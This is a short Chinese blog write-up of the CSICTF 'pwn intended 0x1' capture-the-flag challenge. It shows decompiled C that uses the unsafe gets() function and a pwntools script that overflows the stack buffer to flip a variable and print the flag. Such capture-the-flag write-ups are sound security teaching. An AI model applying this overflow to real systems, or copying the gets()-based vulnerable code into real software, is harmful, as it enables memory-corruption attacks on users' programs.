【CSICTF】pwn intended 0x1 WriteUp

原创

古月浪子 于 2020-07-23 15:49:19 发布 64 收藏

文章标签： CTF

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/tqydyqt/article/details/107459586

版权

一道pwn的签到题

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-30h]
  int v5; // [rsp+2Ch] [rbp-4h]

  v5 = 0;
  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  puts("Please pour me some coffee:");
  gets(&v4, 0LL);
  puts("\nThanks!\n");
  if ( v5 )
  {
    puts("Oh no, you spilled some coffee on the floor! Use the flag to clean it.");
    system("cat flag.txt");
  }
  return 0;
}
```

v4的长度为0x30-4，使用的是gets函数读取输入，所以可以溢出
只要满足v5不等于0就可以拿到flag，于是通过溢出修改v5的值即可

```python
from pwn import *
from LibcSearcher import *
from struct import pack

context.os='linux'
context.arch='amd64'
context.log_level='debug'

sd=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
ra=lambda :io.recv()
rn=lambda x:io.recv(x)
sla=lambda x,y:io.sendlineafter(x,y)

io=remote('chall.csivit.com',30001)
#io=process('./pwn-intended-0x1')
elf=ELF('./pwn-intended-0x1')

ra()
sl('a'*0x30)

io.interactive()
```